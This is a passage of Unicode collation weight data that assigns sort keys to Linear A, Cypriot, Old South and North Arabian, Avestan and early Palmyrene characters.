SIGN AB076 -1063E ; [.46F8.0020.0002] # LINEAR A SIGN AB077 -1063F ; [.46F9.0020.0002] # LINEAR A SIGN AB078 -10640 ; [.46FA.0020.0002] # LINEAR A SIGN AB079 -10641 ; [.46FB.0020.0002] # LINEAR A SIGN AB080 -10642 ; [.46FC.0020.0002] # LINEAR A SIGN AB081 -10643 ; [.46FD.0020.0002] # LINEAR A SIGN AB082 -10644 ; [.46FE.0020.0002] # LINEAR A SIGN AB085 -10645 ; [.46FF.0020.0002] # LINEAR A SIGN AB086 -10646 ; [.4700.0020.0002] # LINEAR A SIGN AB087 -10647 ; [.4701.0020.0002] # LINEAR A SIGN A100-102 -10648 ; [.4702.0020.0002] # LINEAR A SIGN AB118 -10649 ; [.4703.0020.0002] # LINEAR A SIGN AB120 -1064A ; [.4704.0020.0002] # LINEAR A SIGN A120B -1064B ; [.4705.0020.0002] # LINEAR A SIGN AB122 -1064C ; [.4706.0020.0002] # LINEAR A SIGN AB123 -1064D ; [.4707.0020.0002] # LINEAR A SIGN AB131A -1064E ; [.4708.0020.0002] # LINEAR A SIGN AB131B -1064F ; [.4709.0020.0002] # LINEAR A SIGN A131C -10650 ; [.470A.0020.0002] # LINEAR A SIGN AB164 -10651 ; [.470B.0020.0002] # LINEAR A SIGN AB171 -10652 ; [.470C.0020.0002] # LINEAR A SIGN AB180 -10653 ; [.470D.0020.0002] # LINEAR A SIGN AB188 -10654 ; [.470E.0020.0002] # LINEAR A SIGN AB191 -10655 ; [.470F.0020.0002] # LINEAR A SIGN A301 -10656 ; [.4710.0020.0002] # LINEAR A SIGN A302 -10657 ; [.4711.0020.0002] # LINEAR A SIGN A303 -10658 ; [.4712.0020.0002] # LINEAR A SIGN A304 -10659 ; [.4713.0020.0002] # LINEAR A SIGN A305 -1065A ; [.4714.0020.0002] # LINEAR A SIGN A306 -1065B ; [.4715.0020.0002] # LINEAR A SIGN A307 -1065C ; [.4716.0020.0002] # LINEAR A SIGN A308 -1065D ; [.4717.0020.0002] # LINEAR A SIGN A309A -1065E ; [.4718.0020.0002] # LINEAR A SIGN A309B -1065F ; [.4719.0020.0002] # LINEAR A SIGN A309C -10660 ; [.471A.0020.0002] # LINEAR A SIGN A310 -10661 ; [.471B.0020.0002] # LINEAR A SIGN A311 -10662 ; [.471C.0020.0002] # LINEAR A SIGN A312 -10663 ; [.471D.0020.0002] # LINEAR A SIGN A313A -10664 ; [.471E.0020.0002] # LINEAR A SIGN A313B -10665 ; [.471F.0020.0002] # LINEAR A SIGN A313C -10666 ; [.4720.0020.0002] # LINEAR A SIGN A314 -10667 ; [.4721.0020.0002] # LINEAR A SIGN A315 -10668 ; [.4722.0020.0002] # LINEAR A SIGN A316 -10669 ; [.4723.0020.0002] # LINEAR A SIGN A317 -1066A ; [.4724.0020.0002] # LINEAR A SIGN A318 -1066B ; [.4725.0020.0002] # LINEAR A SIGN A319 -1066C ; [.4726.0020.0002] # LINEAR A SIGN A320 -1066D ; [.4727.0020.0002] # LINEAR A SIGN A321 -1066E ; [.4728.0020.0002] # LINEAR A SIGN A322 -1066F ; [.4729.0020.0002] # LINEAR A SIGN A323 -10670 ; [.472A.0020.0002] # LINEAR A SIGN A324 -10671 ; [.472B.0020.0002] # LINEAR A SIGN A325 -10672 ; [.472C.0020.0002] # LINEAR A SIGN A326 -10673 ; [.472D.0020.0002] # LINEAR A SIGN A327 -10674 ; [.472E.0020.0002] # LINEAR A SIGN A328 -10675 ; [.472F.0020.0002] # LINEAR A SIGN A329 -10676 ; [.4730.0020.0002] # LINEAR A SIGN A330 -10677 ; [.4731.0020.0002] # LINEAR A SIGN A331 -10678 ; [.4732.0020.0002] # LINEAR A SIGN A332 -10679 ; [.4733.0020.0002] # LINEAR A SIGN A333 -1067A ; [.4734.0020.0002] # LINEAR A SIGN A334 -1067B ; [.4735.0020.0002] # LINEAR A SIGN A335 -1067C ; [.4736.0020.0002] # LINEAR A SIGN A336 -1067D ; [.4737.0020.0002] # LINEAR A SIGN A337 -1067E ; [.4738.0020.0002] # LINEAR A SIGN A338 -1067F ; [.4739.0020.0002] # LINEAR A SIGN A339 -10680 ; [.473A.0020.0002] # LINEAR A SIGN A340 -10681 ; [.473B.0020.0002] # LINEAR A SIGN A341 -10682 ; [.473C.0020.0002] # LINEAR A SIGN A342 -10683 ; [.473D.0020.0002] # LINEAR A SIGN A343 -10684 ; [.473E.0020.0002] # LINEAR A SIGN A344 -10685 ; [.473F.0020.0002] # LINEAR A SIGN A345 -10686 ; [.4740.0020.0002] # LINEAR A SIGN A346 -10687 ; [.4741.0020.0002] # LINEAR A SIGN A347 -10688 ; [.4742.0020.0002] # LINEAR A SIGN A348 -10689 ; [.4743.0020.0002] # LINEAR A SIGN A349 -1068A ; [.4744.0020.0002] # LINEAR A SIGN A350 -1068B ; [.4745.0020.0002] # LINEAR A SIGN A351 -1068C ; [.4746.0020.0002] # LINEAR A SIGN A352 -1068D ; [.4747.0020.0002] # LINEAR A SIGN A353 -1068E ; [.4748.0020.0002] # LINEAR A SIGN A354 -1068F ; [.4749.0020.0002] # LINEAR A SIGN A355 -10690 ; [.474A.0020.0002] # LINEAR A SIGN A356 -10691 ; [.474B.0020.0002] # LINEAR A SIGN A357 -10692 ; [.474C.0020.0002] # LINEAR A SIGN A358 -10693 ; [.474D.0020.0002] # LINEAR A SIGN A359 -10694 ; [.474E.0020.0002] # LINEAR A SIGN A360 -10695 ; [.474F.0020.0002] # LINEAR A SIGN A361 -10696 ; [.4750.0020.0002] # LINEAR A SIGN A362 -10697 ; [.4751.0020.0002] # LINEAR A SIGN A363 -10698 ; [.4752.0020.0002] # LINEAR A SIGN A364 -10699 ; [.4753.0020.0002] # LINEAR A SIGN A365 -1069A ; [.4754.0020.0002] # LINEAR A SIGN A366 -1069B ; [.4755.0020.0002] # LINEAR A SIGN A367 -1069C ; [.4756.0020.0002] # LINEAR A SIGN A368 -1069D ; [.4757.0020.0002] # LINEAR A SIGN A369 -1069E ; [.4758.0020.0002] # LINEAR A SIGN A370 -1069F ; [.4759.0020.0002] # LINEAR A SIGN A371 -106A0 ; [.475A.0020.0002] # LINEAR A SIGN A400-VAS -106A1 ; [.475B.0020.0002] # LINEAR A SIGN A401-VAS -106A2 ; [.475C.0020.0002] # LINEAR A SIGN A402-VAS -106A3 ; [.475D.0020.0002] # LINEAR A SIGN A403-VAS -106A4 ; [.475E.0020.0002] # LINEAR A SIGN A404-VAS -106A5 ; [.475F.0020.0002] # LINEAR A SIGN A405-VAS -106A6 ; [.4760.0020.0002] # LINEAR A SIGN A406-VAS -106A7 ; [.4761.0020.0002] # LINEAR A SIGN A407-VAS -106A8 ; [.4762.0020.0002] # LINEAR A SIGN A408-VAS -106A9 ; [.4763.0020.0002] # LINEAR A SIGN A409-VAS -106AA ; [.4764.0020.0002] # LINEAR A SIGN A410-VAS -106AB ; [.4765.0020.0002] # LINEAR A SIGN A411-VAS -106AC ; [.4766.0020.0002] # LINEAR A SIGN A412-VAS -106AD ; [.4767.0020.0002] # LINEAR A SIGN A413-VAS -106AE ; [.4768.0020.0002] # LINEAR A SIGN A414-VAS -106AF ; [.4769.0020.0002] # LINEAR A SIGN A415-VAS -106B0 ; [.476A.0020.0002] # LINEAR A SIGN A416-VAS -106B1 ; [.476B.0020.0002] # LINEAR A SIGN A417-VAS -106B2 ; [.476C.0020.0002] # LINEAR A SIGN A418-VAS -106B3 ; [.476D.0020.0002] # LINEAR A SIGN A501 -106B4 ; [.476E.0020.0002] # LINEAR A SIGN A502 -106B5 ; [.476F.0020.0002] # LINEAR A SIGN A503 -106B6 ; [.4770.0020.0002] # LINEAR A SIGN A504 -106B7 ; [.4771.0020.0002] # LINEAR A SIGN A505 -106B8 ; [.4772.0020.0002] # LINEAR A SIGN A506 -106B9 ; [.4773.0020.0002] # LINEAR A SIGN A508 -106BA ; [.4774.0020.0002] # LINEAR A SIGN A509 -106BB ; [.4775.0020.0002] # LINEAR A SIGN A510 -106BC ; [.4776.0020.0002] # LINEAR A SIGN A511 -106BD ; [.4777.0020.0002] # LINEAR A SIGN A512 -106BE ; [.4778.0020.0002] # LINEAR A SIGN A513 -106BF ; [.4779.0020.0002] # LINEAR A SIGN A515 -106C0 ; [.477A.0020.0002] # LINEAR A SIGN A516 -106C1 ; [.477B.0020.0002] # LINEAR A SIGN A520 -106C2 ; [.477C.0020.0002] # LINEAR A SIGN A521 -106C3 ; [.477D.0020.0002] # LINEAR A SIGN A523 -106C4 ; [.477E.0020.0002] # LINEAR A SIGN A524 -106C5 ; [.477F.0020.0002] # LINEAR A SIGN A525 -106C6 ; [.4780.0020.0002] # LINEAR A SIGN A526 -106C7 ; [.4781.0020.0002] # LINEAR A SIGN A527 -106C8 ; [.4782.0020.0002] # LINEAR A SIGN A528 -106C9 ; [.4783.0020.0002] # LINEAR A SIGN A529 -106CA ; [.4784.0020.0002] # LINEAR A SIGN A530 -106CB ; [.4785.0020.0002] # LINEAR A SIGN A531 -106CC ; [.4786.0020.0002] # LINEAR A SIGN A532 -106CD ; [.4787.0020.0002] # LINEAR A SIGN A534 -106CE ; [.4788.0020.0002] # LINEAR A SIGN A535 -106CF ; [.4789.0020.0002] # LINEAR A SIGN A536 -106D0 ; [.478A.0020.0002] # LINEAR A SIGN A537 -106D1 ; [.478B.0020.0002] # LINEAR A SIGN A538 -106D2 ; [.478C.0020.0002] # LINEAR A SIGN A539 -106D3 ; [.478D.0020.0002] # LINEAR A SIGN A540 -106D4 ; [.478E.0020.0002] # LINEAR A SIGN A541 -106D5 ; [.478F.0020.0002] # LINEAR A SIGN A542 -106D6 ; [.4790.0020.0002] # LINEAR A SIGN A545 -106D7 ; [.4791.0020.0002] # LINEAR A SIGN A547 -106D8 ; [.4792.0020.0002] # LINEAR A SIGN A548 -106D9 ; [.4793.0020.0002] # LINEAR A SIGN A549 -106DA ; [.4794.0020.0002] # LINEAR A SIGN A550 -106DB ; [.4795.0020.0002] # LINEAR A SIGN A551 -106DC ; [.4796.0020.0002] # LINEAR A SIGN A552 -106DD ; [.4797.0020.0002] # LINEAR A SIGN A553 -106DE ; [.4798.0020.0002] # LINEAR A SIGN A554 -106DF ; [.4799.0020.0002] # LINEAR A SIGN A555 -106E0 ; [.479A.0020.0002] # LINEAR A SIGN A556 -106E1 ; [.479B.0020.0002] # LINEAR A SIGN A557 -106E2 ; [.479C.0020.0002] # LINEAR A SIGN A559 -106E3 ; [.479D.0020.0002] # LINEAR A SIGN A563 -106E4 ; [.479E.0020.0002] # LINEAR A SIGN A564 -106E5 ; [.479F.0020.0002] # LINEAR A SIGN A565 -106E6 ; [.47A0.0020.0002] # LINEAR A SIGN A566 -106E7 ; [.47A1.0020.0002] # LINEAR A SIGN A568 -106E8 ; [.47A2.0020.0002] # LINEAR A SIGN A569 -106E9 ; [.47A3.0020.0002] # LINEAR A SIGN A570 -106EA ; [.47A4.0020.0002] # LINEAR A SIGN A571 -106EB ; [.47A5.0020.0002] # LINEAR A SIGN A572 -106EC ; [.47A6.0020.0002] # LINEAR A SIGN A573 -106ED ; [.47A7.0020.0002] # LINEAR A SIGN A574 -106EE ; [.47A8.0020.0002] # LINEAR A SIGN A575 -106EF ; [.47A9.0020.0002] # LINEAR A SIGN A576 -106F0 ; [.47AA.0020.0002] # LINEAR A SIGN A577 -106F1 ; [.47AB.0020.0002] # LINEAR A SIGN A578 -106F2 ; [.47AC.0020.0002] # LINEAR A SIGN A579 -106F3 ; [.47AD.0020.0002] # LINEAR A SIGN A580 -106F4 ; [.47AE.0020.0002] # LINEAR A SIGN A581 -106F5 ; [.47AF.0020.0002] # LINEAR A SIGN A582 -106F6 ; [.47B0.0020.0002] # LINEAR A SIGN A583 -106F7 ; [.47B1.0020.0002] # LINEAR A SIGN A584 -106F8 ; [.47B2.0020.0002] # LINEAR A SIGN A585 -106F9 ; [.47B3.0020.0002] # LINEAR A SIGN A586 -106FA ; [.47B4.0020.0002] # LINEAR A SIGN A587 -106FB ; [.47B5.0020.0002] # LINEAR A SIGN A588 -106FC ; [.47B6.0020.0002] # LINEAR A SIGN A589 -106FD ; [.47B7.0020.0002] # LINEAR A SIGN A591 -106FE ; [.47B8.0020.0002] # LINEAR A SIGN A592 -106FF ; [.47B9.0020.0002] # LINEAR A SIGN A594 -10700 ; [.47BA.0020.0002] # LINEAR A SIGN A595 -10701 ; [.47BB.0020.0002] # LINEAR A SIGN A596 -10702 ; [.47BC.0020.0002] # LINEAR A SIGN A598 -10703 ; [.47BD.0020.0002] # LINEAR A SIGN A600 -10704 ; [.47BE.0020.0002] # LINEAR A SIGN A601 -10705 ; [.47BF.0020.0002] # LINEAR A SIGN A602 -10706 ; [.47C0.0020.0002] # LINEAR A SIGN A603 -10707 ; [.47C1.0020.0002] # LINEAR A SIGN A604 -10708 ; [.47C2.0020.0002] # LINEAR A SIGN A606 -10709 ; [.47C3.0020.0002] # LINEAR A SIGN A608 -1070A ; [.47C4.0020.0002] # LINEAR A SIGN A609 -1070B ; [.47C5.0020.0002] # LINEAR A SIGN A610 -1070C ; [.47C6.0020.0002] # LINEAR A SIGN A611 -1070D ; [.47C7.0020.0002] # LINEAR A SIGN A612 -1070E ; [.47C8.0020.0002] # LINEAR A SIGN A613 -1070F ; [.47C9.0020.0002] # LINEAR A SIGN A614 -10710 ; [.47CA.0020.0002] # LINEAR A SIGN A615 -10711 ; [.47CB.0020.0002] # LINEAR A SIGN A616 -10712 ; [.47CC.0020.0002] # LINEAR A SIGN A617 -10713 ; [.47CD.0020.0002] # LINEAR A SIGN A618 -10714 ; [.47CE.0020.0002] # LINEAR A SIGN A619 -10715 ; [.47CF.0020.0002] # LINEAR A SIGN A620 -10716 ; [.47D0.0020.0002] # LINEAR A SIGN A621 -10717 ; [.47D1.0020.0002] # LINEAR A SIGN A622 -10718 ; [.47D2.0020.0002] # LINEAR A SIGN A623 -10719 ; [.47D3.0020.0002] # LINEAR A SIGN A624 -1071A ; [.47D4.0020.0002] # LINEAR A SIGN A626 -1071B ; [.47D5.0020.0002] # LINEAR A SIGN A627 -1071C ; [.47D6.0020.0002] # LINEAR A SIGN A628 -1071D ; [.47D7.0020.0002] # LINEAR A SIGN A629 -1071E ; [.47D8.0020.0002] # LINEAR A SIGN A634 -1071F ; [.47D9.0020.0002] # LINEAR A SIGN A637 -10720 ; [.47DA.0020.0002] # LINEAR A SIGN A638 -10721 ; [.47DB.0020.0002] # LINEAR A SIGN A640 -10722 ; [.47DC.0020.0002] # LINEAR A SIGN A642 -10723 ; [.47DD.0020.0002] # LINEAR A SIGN A643 -10724 ; [.47DE.0020.0002] # LINEAR A SIGN A644 -10725 ; [.47DF.0020.0002] # LINEAR A SIGN A645 -10726 ; [.47E0.0020.0002] # LINEAR A SIGN A646 -10727 ; [.47E1.0020.0002] # LINEAR A SIGN A648 -10728 ; [.47E2.0020.0002] # LINEAR A SIGN A649 -10729 ; [.47E3.0020.0002] # LINEAR A SIGN A651 -1072A ; [.47E4.0020.0002] # LINEAR A SIGN A652 -1072B ; [.47E5.0020.0002] # LINEAR A SIGN A653 -1072C ; [.47E6.0020.0002] # LINEAR A SIGN A654 -1072D ; [.47E7.0020.0002] # LINEAR A SIGN A655 -1072E ; [.47E8.0020.0002] # LINEAR A SIGN A656 -1072F ; [.47E9.0020.0002] # LINEAR A SIGN A657 -10730 ; [.47EA.0020.0002] # LINEAR A SIGN A658 -10731 ; [.47EB.0020.0002] # LINEAR A SIGN A659 -10732 ; [.47EC.0020.0002] # LINEAR A SIGN A660 -10733 ; [.47ED.0020.0002] # LINEAR A SIGN A661 -10734 ; [.47EE.0020.0002] # LINEAR A SIGN A662 -10735 ; [.47EF.0020.0002] # LINEAR A SIGN A663 -10736 ; [.47F0.0020.0002] # LINEAR A SIGN A664 -10740 ; [.47F1.0020.0002] # LINEAR A SIGN A701 A -10741 ; [.47F2.0020.0002] # LINEAR A SIGN A702 B -10742 ; [.47F3.0020.0002] # LINEAR A SIGN A703 D -10743 ; [.47F4.0020.0002] # LINEAR A SIGN A704 E -10744 ; [.47F5.0020.0002] # LINEAR A SIGN A705 F -10745 ; [.47F6.0020.0002] # LINEAR A SIGN A706 H -10746 ; [.47F7.0020.0002] # LINEAR A SIGN A707 J -10747 ; [.47F8.0020.0002] # LINEAR A SIGN A708 K -10748 ; [.47F9.0020.0002] # LINEAR A SIGN A709 L -10749 ; [.47FA.0020.0002] # LINEAR A SIGN A709-2 L2 -1074A ; [.47FB.0020.0002] # LINEAR A SIGN A709-3 L3 -1074B ; [.47FC.0020.0002] # LINEAR A SIGN A709-4 L4 -1074C ; [.47FD.0020.0002] # LINEAR A SIGN A709-6 L6 -1074D ; [.47FE.0020.0002] # LINEAR A SIGN A710 W -1074E ; [.47FF.0020.0002] # LINEAR A SIGN A711 X -1074F ; [.4800.0020.0002] # LINEAR A SIGN A712 Y -10750 ; [.4801.0020.0002] # LINEAR A SIGN A713 OMEGA -10751 ; [.4802.0020.0002] # LINEAR A SIGN A714 ABB -10752 ; [.4803.0020.0002] # LINEAR A SIGN A715 BB -10753 ; [.4804.0020.0002] # LINEAR A SIGN A717 DD -10754 ; [.4805.0020.0002] # LINEAR A SIGN A726 EYYY -10755 ; [.4806.0020.0002] # LINEAR A SIGN A732 JE -10760 ; [.4807.0020.0002] # LINEAR A SIGN A800 -10761 ; [.4808.0020.0002] # LINEAR A SIGN A801 -10762 ; [.4809.0020.0002] # LINEAR A SIGN A802 -10763 ; [.480A.0020.0002] # LINEAR A SIGN A803 -10764 ; [.480B.0020.0002] # LINEAR A SIGN A804 -10765 ; [.480C.0020.0002] # LINEAR A SIGN A805 -10766 ; [.480D.0020.0002] # LINEAR A SIGN A806 -10767 ; [.480E.0020.0002] # LINEAR A SIGN A807 -10800 ; [.480F.0020.0002] # CYPRIOT SYLLABLE A -10801 ; [.4810.0020.0002] # CYPRIOT SYLLABLE E -10802 ; [.4811.0020.0002] # CYPRIOT SYLLABLE I -10803 ; [.4812.0020.0002] # CYPRIOT SYLLABLE O -10804 ; [.4813.0020.0002] # CYPRIOT SYLLABLE U -10805 ; [.4814.0020.0002] # CYPRIOT SYLLABLE JA -10808 ; [.4815.0020.0002] # CYPRIOT SYLLABLE JO -1080A ; [.4816.0020.0002] # CYPRIOT SYLLABLE KA -1080B ; [.4817.0020.0002] # CYPRIOT SYLLABLE KE -1080C ; [.4818.0020.0002] # CYPRIOT SYLLABLE KI -1080D ; [.4819.0020.0002] # CYPRIOT SYLLABLE KO -1080E ; [.481A.0020.0002] # CYPRIOT SYLLABLE KU -1080F ; [.481B.0020.0002] # CYPRIOT SYLLABLE LA -10810 ; [.481C.0020.0002] # CYPRIOT SYLLABLE LE -10811 ; [.481D.0020.0002] # CYPRIOT SYLLABLE LI -10812 ; [.481E.0020.0002] # CYPRIOT SYLLABLE LO -10813 ; [.481F.0020.0002] # CYPRIOT SYLLABLE LU -10814 ; [.4820.0020.0002] # CYPRIOT SYLLABLE MA -10815 ; [.4821.0020.0002] # CYPRIOT SYLLABLE ME -10816 ; [.4822.0020.0002] # CYPRIOT SYLLABLE MI -10817 ; [.4823.0020.0002] # CYPRIOT SYLLABLE MO -10818 ; [.4824.0020.0002] # CYPRIOT SYLLABLE MU -10819 ; [.4825.0020.0002] # CYPRIOT SYLLABLE NA -1081A ; [.4826.0020.0002] # CYPRIOT SYLLABLE NE -1081B ; [.4827.0020.0002] # CYPRIOT SYLLABLE NI -1081C ; [.4828.0020.0002] # CYPRIOT SYLLABLE NO -1081D ; [.4829.0020.0002] # CYPRIOT SYLLABLE NU -1081E ; [.482A.0020.0002] # CYPRIOT SYLLABLE PA -1081F ; [.482B.0020.0002] # CYPRIOT SYLLABLE PE -10820 ; [.482C.0020.0002] # CYPRIOT SYLLABLE PI -10821 ; [.482D.0020.0002] # CYPRIOT SYLLABLE PO -10822 ; [.482E.0020.0002] # CYPRIOT SYLLABLE PU -10823 ; [.482F.0020.0002] # CYPRIOT SYLLABLE RA -10824 ; [.4830.0020.0002] # CYPRIOT SYLLABLE RE -10825 ; [.4831.0020.0002] # CYPRIOT SYLLABLE RI -10826 ; [.4832.0020.0002] # CYPRIOT SYLLABLE RO -10827 ; [.4833.0020.0002] # CYPRIOT SYLLABLE RU -10828 ; [.4834.0020.0002] # CYPRIOT SYLLABLE SA -10829 ; [.4835.0020.0002] # CYPRIOT SYLLABLE SE -1082A ; [.4836.0020.0002] # CYPRIOT SYLLABLE SI -1082B ; [.4837.0020.0002] # CYPRIOT SYLLABLE SO -1082C ; [.4838.0020.0002] # CYPRIOT SYLLABLE SU -1082D ; [.4839.0020.0002] # CYPRIOT SYLLABLE TA -1082E ; [.483A.0020.0002] # CYPRIOT SYLLABLE TE -1082F ; [.483B.0020.0002] # CYPRIOT SYLLABLE TI -10830 ; [.483C.0020.0002] # CYPRIOT SYLLABLE TO -10831 ; [.483D.0020.0002] # CYPRIOT SYLLABLE TU -10832 ; [.483E.0020.0002] # CYPRIOT SYLLABLE WA -10833 ; [.483F.0020.0002] # CYPRIOT SYLLABLE WE -10834 ; [.4840.0020.0002] # CYPRIOT SYLLABLE WI -10835 ; [.4841.0020.0002] # CYPRIOT SYLLABLE WO -10837 ; [.4842.0020.0002] # CYPRIOT SYLLABLE XA -10838 ; [.4843.0020.0002] # CYPRIOT SYLLABLE XE -1083C ; [.4844.0020.0002] # CYPRIOT SYLLABLE ZA -1083F ; [.4845.0020.0002] # CYPRIOT SYLLABLE ZO -10A60 ; [.4846.0020.0002] # OLD SOUTH ARABIAN LETTER HE -10A61 ; [.4847.0020.0002] # OLD SOUTH ARABIAN LETTER LAMEDH -10A62 ; [.4848.0020.0002] # OLD SOUTH ARABIAN LETTER HETH -10A63 ; [.4849.0020.0002] # OLD SOUTH ARABIAN LETTER MEM -10A64 ; [.484A.0020.0002] # OLD SOUTH ARABIAN LETTER QOPH -10A65 ; [.484B.0020.0002] # OLD SOUTH ARABIAN LETTER WAW -10A66 ; [.484C.0020.0002] # OLD SOUTH ARABIAN LETTER SHIN -10A67 ; [.484D.0020.0002] # OLD SOUTH ARABIAN LETTER RESH -10A68 ; [.484E.0020.0002] # OLD SOUTH ARABIAN LETTER BETH -10A69 ; [.484F.0020.0002] # OLD SOUTH ARABIAN LETTER TAW -10A6A ; [.4850.0020.0002] # OLD SOUTH ARABIAN LETTER SAT -10A6B ; [.4851.0020.0002] # OLD SOUTH ARABIAN LETTER KAPH -10A6C ; [.4852.0020.0002] # OLD SOUTH ARABIAN LETTER NUN -10A6D ; [.4853.0020.0002] # OLD SOUTH ARABIAN LETTER KHETH -10A6E ; [.4854.0020.0002] # OLD SOUTH ARABIAN LETTER SADHE -10A6F ; [.4855.0020.0002] # OLD SOUTH ARABIAN LETTER SAMEKH -10A70 ; [.4856.0020.0002] # OLD SOUTH ARABIAN LETTER FE -10A71 ; [.4857.0020.0002] # OLD SOUTH ARABIAN LETTER ALEF -10A72 ; [.4858.0020.0002] # OLD SOUTH ARABIAN LETTER AYN -10A73 ; [.4859.0020.0002] # OLD SOUTH ARABIAN LETTER DHADHE -10A74 ; [.485A.0020.0002] # OLD SOUTH ARABIAN LETTER GIMEL -10A75 ; [.485B.0020.0002] # OLD SOUTH ARABIAN LETTER DALETH -10A76 ; [.485C.0020.0002] # OLD SOUTH ARABIAN LETTER GHAYN -10A77 ; [.485D.0020.0002] # OLD SOUTH ARABIAN LETTER TETH -10A78 ; [.485E.0020.0002] # OLD SOUTH ARABIAN LETTER ZAYN -10A79 ; [.485F.0020.0002] # OLD SOUTH ARABIAN LETTER DHALETH -10A7A ; [.4860.0020.0002] # OLD SOUTH ARABIAN LETTER YODH -10A7B ; [.4861.0020.0002] # OLD SOUTH ARABIAN LETTER THAW -10A7C ; [.4862.0020.0002] # OLD SOUTH ARABIAN LETTER THETH -10A80 ; [.4863.0020.0002] # OLD NORTH ARABIAN LETTER HEH -10A81 ; [.4864.0020.0002] # OLD NORTH ARABIAN LETTER LAM -10A82 ; [.4865.0020.0002] # OLD NORTH ARABIAN LETTER HAH -10A83 ; [.4866.0020.0002] # OLD NORTH ARABIAN LETTER MEEM -10A84 ; [.4867.0020.0002] # OLD NORTH ARABIAN LETTER QAF -10A85 ; [.4868.0020.0002] # OLD NORTH ARABIAN LETTER WAW -10A86 ; [.4869.0020.0002] # OLD NORTH ARABIAN LETTER ES-2 -10A87 ; [.486A.0020.0002] # OLD NORTH ARABIAN LETTER REH -10A88 ; [.486B.0020.0002] # OLD NORTH ARABIAN LETTER BEH -10A89 ; [.486C.0020.0002] # OLD NORTH ARABIAN LETTER TEH -10A8A ; [.486D.0020.0002] # OLD NORTH ARABIAN LETTER ES-1 -10A8B ; [.486E.0020.0002] # OLD NORTH ARABIAN LETTER KAF -10A8C ; [.486F.0020.0002] # OLD NORTH ARABIAN LETTER NOON -10A8D ; [.4870.0020.0002] # OLD NORTH ARABIAN LETTER KHAH -10A8E ; [.4871.0020.0002] # OLD NORTH ARABIAN LETTER SAD -10A8F ; [.4872.0020.0002] # OLD NORTH ARABIAN LETTER ES-3 -10A90 ; [.4873.0020.0002] # OLD NORTH ARABIAN LETTER FEH -10A91 ; [.4874.0020.0002] # OLD NORTH ARABIAN LETTER ALEF -10A92 ; [.4875.0020.0002] # OLD NORTH ARABIAN LETTER AIN -10A93 ; [.4876.0020.0002] # OLD NORTH ARABIAN LETTER DAD -10A94 ; [.4877.0020.0002] # OLD NORTH ARABIAN LETTER GEEM -10A95 ; [.4878.0020.0002] # OLD NORTH ARABIAN LETTER DAL -10A96 ; [.4879.0020.0002] # OLD NORTH ARABIAN LETTER GHAIN -10A97 ; [.487A.0020.0002] # OLD NORTH ARABIAN LETTER TAH -10A98 ; [.487B.0020.0002] # OLD NORTH ARABIAN LETTER ZAIN -10A99 ; [.487C.0020.0002] # OLD NORTH ARABIAN LETTER THAL -10A9A ; [.487D.0020.0002] # OLD NORTH ARABIAN LETTER YEH -10A9B ; [.487E.0020.0002] # OLD NORTH ARABIAN LETTER THEH -10A9C ; [.487F.0020.0002] # OLD NORTH ARABIAN LETTER ZAH -10B00 ; [.4880.0020.0002] # AVESTAN LETTER A -10B01 ; [.4881.0020.0002] # AVESTAN LETTER AA -10B02 ; [.4882.0020.0002] # AVESTAN LETTER AO -10B03 ; [.4883.0020.0002] # AVESTAN LETTER AAO -10B04 ; [.4884.0020.0002] # AVESTAN LETTER AN -10B05 ; [.4885.0020.0002] # AVESTAN LETTER AAN -10B06 ; [.4886.0020.0002] # AVESTAN LETTER AE -10B07 ; [.4887.0020.0002] # AVESTAN LETTER AEE -10B08 ; [.4888.0020.0002] # AVESTAN LETTER E -10B09 ; [.4889.0020.0002] # AVESTAN LETTER EE -10B0A ; [.488A.0020.0002] # AVESTAN LETTER O -10B0B ; [.488B.0020.0002] # AVESTAN LETTER OO -10B0C ; [.488C.0020.0002] # AVESTAN LETTER I -10B0D ; [.488D.0020.0002] # AVESTAN LETTER II -10B0E ; [.488E.0020.0002] # AVESTAN LETTER U -10B0F ; [.488F.0020.0002] # AVESTAN LETTER UU -10B10 ; [.4890.0020.0002] # AVESTAN LETTER KE -10B11 ; [.4891.0020.0002] # AVESTAN LETTER XE -10B12 ; [.4892.0020.0002] # AVESTAN LETTER XYE -10B13 ; [.4893.0020.0002] # AVESTAN LETTER XVE -10B14 ; [.4894.0020.0002] # AVESTAN LETTER GE -10B15 ; [.4895.0020.0002] # AVESTAN LETTER GGE -10B16 ; [.4896.0020.0002] # AVESTAN LETTER GHE -10B17 ; [.4897.0020.0002] # AVESTAN LETTER CE -10B18 ; [.4898.0020.0002] # AVESTAN LETTER JE -10B19 ; [.4899.0020.0002] # AVESTAN LETTER TE -10B1A ; [.489A.0020.0002] # AVESTAN LETTER THE -10B1B ; [.489B.0020.0002] # AVESTAN LETTER DE -10B1C ; [.489C.0020.0002] # AVESTAN LETTER DHE -10B1D ; [.489D.0020.0002] # AVESTAN LETTER TTE -10B1E ; [.489E.0020.0002] # AVESTAN LETTER PE -10B1F ; [.489F.0020.0002] # AVESTAN LETTER FE -10B20 ; [.48A0.0020.0002] # AVESTAN LETTER BE -10B21 ; [.48A1.0020.0002] # AVESTAN LETTER BHE -10B22 ; [.48A2.0020.0002] # AVESTAN LETTER NGE -10B23 ; [.48A3.0020.0002] # AVESTAN LETTER NGYE -10B24 ; [.48A4.0020.0002] # AVESTAN LETTER NGVE -10B25 ; [.48A5.0020.0002] # AVESTAN LETTER NE -10B26 ; [.48A6.0020.0002] # AVESTAN LETTER NYE -10B27 ; [.48A7.0020.0002] # AVESTAN LETTER NNE -10B28 ; [.48A8.0020.0002] # AVESTAN LETTER ME -10B29 ; [.48A9.0020.0002] # AVESTAN LETTER HME -10B2A ; [.48AA.0020.0002] # AVESTAN LETTER YYE -10B2B ; [.48AB.0020.0002] # AVESTAN LETTER YE -10B2C ; [.48AC.0020.0002] # AVESTAN LETTER VE -10B2D ; [.48AD.0020.0002] # AVESTAN LETTER RE -10B2E ; [.48AD.0020.0004][.0000.0110.0004] # AVESTAN LETTER LE -10B2F ; [.48AE.0020.0002] # AVESTAN LETTER SE -10B30 ; [.48AF.0020.0002] # AVESTAN LETTER ZE -10B31 ; [.48B0.0020.0002] # AVESTAN LETTER SHE -10B32 ; [.48B1.0020.0002] # AVESTAN LETTER ZHE -10B33 ; [.48B2.0020.0002] # AVESTAN LETTER SHYE -10B34 ; [.48B3.0020.0002] # AVESTAN LETTER SSHE -10B35 ; [.48B4.0020.0002] # AVESTAN LETTER HE -10860 ; [.48B5.0020.0002] # PALMYRENE LETTER ALEPH -10861 ; [.48B6.0020.0002] # PALMYRENE LETTER BETH -10862 ; [.48B7.0020.0002] # PALMYRENE LETTER GIMEL -10863 ; [.48B8.0020.0002] # PALMYRENE 